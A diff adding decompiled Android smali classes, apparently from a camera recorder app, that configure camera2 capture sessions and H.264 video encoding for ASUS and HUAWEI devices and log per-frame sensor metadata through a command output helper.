invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 242
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_TRIGGER:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->caft:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 243
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraASUSn;->access$600(Lcom/nvav/srv/recorder/CameraASUSn;)V
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_1
|
||||
|
||||
:catch_0
|
||||
move-exception p1
|
||||
|
||||
.line 246
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:cond_1
|
||||
:goto_1
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onReady(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 2
|
||||
|
||||
.line 338
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v0, "result=Session ready."
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 339
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v0
|
||||
|
||||
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
filled-new-array {p1}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "time %d"
|
||||
|
||||
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "CameraCaptureSession re"
|
||||
|
||||
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,256 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraASUSn$4;
|
||||
.super Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;
|
||||
.source "CameraASUSn.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field FrameNumber:J
|
||||
|
||||
.field lat:D
|
||||
|
||||
.field lon:D
|
||||
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
.field time_out_param:J
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraASUSn;)V
|
||||
.locals 2
|
||||
|
||||
.line 347
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;-><init>()V
|
||||
|
||||
.line 348
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v0
|
||||
|
||||
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->time_out_param:J
|
||||
|
||||
const-wide/16 v0, 0x0
|
||||
|
||||
.line 349
|
||||
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->lat:D
|
||||
|
||||
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->lon:D
|
||||
|
||||
const-wide/16 v0, 0x0
|
||||
|
||||
.line 350
|
||||
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->FrameNumber:J
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onCaptureCompleted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/TotalCaptureResult;)V
|
||||
.locals 7
|
||||
|
||||
.line 355
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide p1
|
||||
|
||||
iget-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->time_out_param:J
|
||||
|
||||
sub-long/2addr p1, v0
|
||||
|
||||
const-wide/16 v0, 0xc8
|
||||
|
||||
cmp-long p1, p1, v0
|
||||
|
||||
if-lez p1, :cond_0
|
||||
|
||||
.line 356
|
||||
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->lat:D
|
||||
|
||||
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->lon:D
|
||||
|
||||
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 357
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
check-cast p1, Ljava/lang/Long;
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/Long;->longValue()J
|
||||
|
||||
move-result-wide p1
|
||||
|
||||
const-wide/32 v3, 0x3b9aca00
|
||||
|
||||
div-long/2addr v3, p1
|
||||
|
||||
invoke-static {v3, v4}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_APERTURE:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 358
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 359
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v5
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 360
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v6
|
||||
|
||||
filled-new-array/range {v0 .. v6}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 356
|
||||
const-string p2, "%f;%f;%d;%d;%.2f;%f;%d"
|
||||
|
||||
invoke-static {p2, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 361
|
||||
iget-object p2, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p2, p2, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/String;->length()I
|
||||
|
||||
move-result p3
|
||||
|
||||
add-int/lit8 p3, p3, 0x1
|
||||
|
||||
invoke-static {p3}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p3
|
||||
|
||||
const/16 v0, 0x4d
|
||||
|
||||
invoke-virtual {p3, v0}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p3
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p3, p1}, Ljava/nio/ByteBuffer;->put([B)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p1}, Ljava/nio/ByteBuffer;->array()[B
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p2, p1}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
|
||||
|
||||
.line 362
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide p1
|
||||
|
||||
iput-wide p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->time_out_param:J
|
||||
|
||||
:cond_0
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureFailed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureFailure;)V
|
||||
.locals 0
|
||||
|
||||
.line 367
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string p2, "result=Capture failed."
|
||||
|
||||
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureProgressed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureResult;)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureSequenceAborted(Landroid/hardware/camera2/CameraCaptureSession;I)V
|
||||
.locals 0
|
||||
|
||||
.line 376
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string p2, "result=Capture aborted sequence."
|
||||
|
||||
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureSequenceCompleted(Landroid/hardware/camera2/CameraCaptureSession;IJ)V
|
||||
.locals 0
|
||||
|
||||
.line 380
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string p2, "result=Capture completed sequence."
|
||||
|
||||
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureStarted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;JJ)V
|
||||
.locals 0
|
||||
|
||||
.line 385
|
||||
iput-wide p5, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->FrameNumber:J
|
||||
|
||||
return-void
|
||||
.end method
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,40 @@
|
||||
.class public final synthetic Lcom/nvav/srv/recorder/CameraHUAWEI$$ExternalSyntheticLambda0;
|
||||
.super Ljava/lang/Object;
|
||||
.source "D8$$SyntheticClass"
|
||||
|
||||
# interfaces
|
||||
.implements Ljava/util/function/Predicate;
|
||||
|
||||
|
||||
# instance fields
|
||||
.field public final synthetic f$0:Ljava/lang/String;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method public synthetic constructor <init>(Ljava/lang/String;)V
|
||||
.locals 0
|
||||
|
||||
.line 0
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$$ExternalSyntheticLambda0;->f$0:Ljava/lang/String;
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public final test(Ljava/lang/Object;)Z
|
||||
.locals 1
|
||||
|
||||
.line 0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$$ExternalSyntheticLambda0;->f$0:Ljava/lang/String;
|
||||
|
||||
check-cast p1, Ljava/lang/String;
|
||||
|
||||
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraHUAWEI;->$r8$lambda$7lpm9zkoZuDoAjfOA0iYE2U94XQ(Ljava/lang/String;Ljava/lang/Object;)Z
|
||||
|
||||
move-result p1
|
||||
|
||||
return p1
|
||||
.end method
|
||||
@@ -0,0 +1,523 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraHUAWEI$1;
|
||||
.super Landroid/hardware/camera2/CameraDevice$StateCallback;
|
||||
.source "CameraHUAWEI.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraHUAWEI;)V
|
||||
.locals 0
|
||||
|
||||
.line 70
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
invoke-direct {p0}, Landroid/hardware/camera2/CameraDevice$StateCallback;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onClosed(Landroid/hardware/camera2/CameraDevice;)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onDisconnected(Landroid/hardware/camera2/CameraDevice;)V
|
||||
.locals 0
|
||||
|
||||
const/4 p1, 0x1
|
||||
|
||||
.line 132
|
||||
sput-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->Restarting:Z
|
||||
|
||||
const/4 p1, 0x0
|
||||
|
||||
.line 133
|
||||
sput-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->Starting:Z
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onError(Landroid/hardware/camera2/CameraDevice;I)V
|
||||
.locals 1
|
||||
|
||||
.line 138
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
filled-new-array {p2}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
const-string v0, "result=C.E(%d)"
|
||||
|
||||
invoke-static {v0, p2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onOpened(Landroid/hardware/camera2/CameraDevice;)V
|
||||
.locals 11
|
||||
|
||||
.line 74
|
||||
const-string v0, "frame-rate"
|
||||
|
||||
const-string v1, "bitrate"
|
||||
|
||||
const-string v2, "video/avc"
|
||||
|
||||
:try_start_0
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iput-object p1, v3, Lcom/nvav/srv/recorder/CameraHUAWEI;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
.line 75
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mCameraManager:Landroid/hardware/camera2/CameraManager;
|
||||
|
||||
iget-object v4, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v4, v4, Lcom/nvav/srv/recorder/CameraHUAWEI;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
invoke-virtual {v4}, Landroid/hardware/camera2/CameraDevice;->getId()Ljava/lang/String;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
invoke-virtual {v3, v4}, Landroid/hardware/camera2/CameraManager;->getCameraCharacteristics(Ljava/lang/String;)Landroid/hardware/camera2/CameraCharacteristics;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
iput-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->properties:Landroid/hardware/camera2/CameraCharacteristics;
|
||||
|
||||
.line 76
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->properties:Landroid/hardware/camera2/CameraCharacteristics;
|
||||
|
||||
sget-object v3, Landroid/hardware/camera2/CameraCharacteristics;->SCALER_STREAM_CONFIGURATION_MAP:Landroid/hardware/camera2/CameraCharacteristics$Key;
|
||||
|
||||
invoke-virtual {p1, v3}, Landroid/hardware/camera2/CameraCharacteristics;->get(Landroid/hardware/camera2/CameraCharacteristics$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
check-cast p1, Landroid/hardware/camera2/params/StreamConfigurationMap;
|
||||
|
||||
.line 77
|
||||
const-class v3, Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p1, v3}, Landroid/hardware/camera2/params/StreamConfigurationMap;->getOutputSizes(Ljava/lang/Class;)[Landroid/util/Size;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 78
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
const/4 v4, 0x0
|
||||
|
||||
iput-object v4, v3, Lcom/nvav/srv/recorder/CameraHUAWEI;->MaxSize:Landroid/util/Size;
|
||||
|
||||
.line 79
|
||||
array-length v3, p1
|
||||
|
||||
const/4 v5, 0x0
|
||||
|
||||
move v6, v5
|
||||
|
||||
:goto_0
|
||||
const/4 v7, 0x2
|
||||
|
||||
if-ge v6, v3, :cond_1
|
||||
|
||||
aget-object v8, p1, v6
|
||||
|
||||
invoke-virtual {v8}, Landroid/util/Size;->getWidth()I
|
||||
|
||||
move-result v9
|
||||
|
||||
iget-object v10, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v10, v10, Lcom/nvav/srv/recorder/CameraHUAWEI;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
aget-object v7, v10, v7
|
||||
|
||||
invoke-static {v7}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v7
|
||||
|
||||
if-ne v9, v7, :cond_0
|
||||
|
||||
invoke-virtual {v8}, Landroid/util/Size;->getHeight()I
|
||||
|
||||
move-result v7
|
||||
|
||||
iget-object v9, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v9, v9, Lcom/nvav/srv/recorder/CameraHUAWEI;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
const/4 v10, 0x3
|
||||
|
||||
aget-object v9, v9, v10
|
||||
|
||||
invoke-static {v9}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v9
|
||||
|
||||
if-ne v7, v9, :cond_0
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iput-object v8, v7, Lcom/nvav/srv/recorder/CameraHUAWEI;->MaxSize:Landroid/util/Size;
|
||||
|
||||
:cond_0
|
||||
add-int/lit8 v6, v6, 0x1
|
||||
|
||||
goto :goto_0
|
||||
|
||||
.line 80
|
||||
:cond_1
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v3, "result=Width:%d Height:%d"
|
||||
|
||||
new-array v6, v7, [Ljava/lang/Object;
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraHUAWEI;->MaxSize:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {v7}, Landroid/util/Size;->getWidth()I
|
||||
|
||||
move-result v7
|
||||
|
||||
invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v7
|
||||
|
||||
aput-object v7, v6, v5
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraHUAWEI;->MaxSize:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {v7}, Landroid/util/Size;->getHeight()I
|
||||
|
||||
move-result v7
|
||||
|
||||
invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v7
|
||||
|
||||
const/4 v8, 0x1
|
||||
|
||||
aput-object v7, v6, v8
|
||||
|
||||
invoke-static {v3, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
invoke-virtual {p1, v3}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 81
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->MaxSize:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {v3}, Landroid/util/Size;->getWidth()I
|
||||
|
||||
move-result v3
|
||||
|
||||
iget-object v6, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v6, v6, Lcom/nvav/srv/recorder/CameraHUAWEI;->MaxSize:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {v6}, Landroid/util/Size;->getHeight()I
|
||||
|
||||
move-result v6
|
||||
|
||||
invoke-static {v2, v3, v6}, Landroid/media/MediaFormat;->createVideoFormat(Ljava/lang/String;II)Landroid/media/MediaFormat;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
iput-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->format:Landroid/media/MediaFormat;
|
||||
|
||||
.line 82
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->format:Landroid/media/MediaFormat;
|
||||
|
||||
const-string v3, "color-format"
|
||||
|
||||
const v6, 0x7f000789
|
||||
|
||||
invoke-virtual {p1, v3, v6}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 83
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
const/4 v6, 0x5
|
||||
|
||||
aget-object v3, v3, v6
|
||||
|
||||
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v3
|
||||
|
||||
iput v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->FPS:I
|
||||
|
||||
.line 84
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->format:Landroid/media/MediaFormat;
|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraHUAWEI;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
aget-object v3, v3, v5
|
||||
|
||||
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v3
|
||||
|
||||
int-to-double v6, v3
|
||||
|
||||
const-wide/high16 v9, 0x3ff4000000000000L # 1.25
|
||||
|
||||
div-double/2addr v6, v9
|
||||
|
||||
double-to-int v3, v6
|
||||
|
||||
invoke-virtual {p1, v1, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 85
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->format:Landroid/media/MediaFormat;
|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget v3, v3, Lcom/nvav/srv/recorder/CameraHUAWEI;->FPS:I
|
||||
|
||||
invoke-virtual {p1, v0, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 86
|
||||
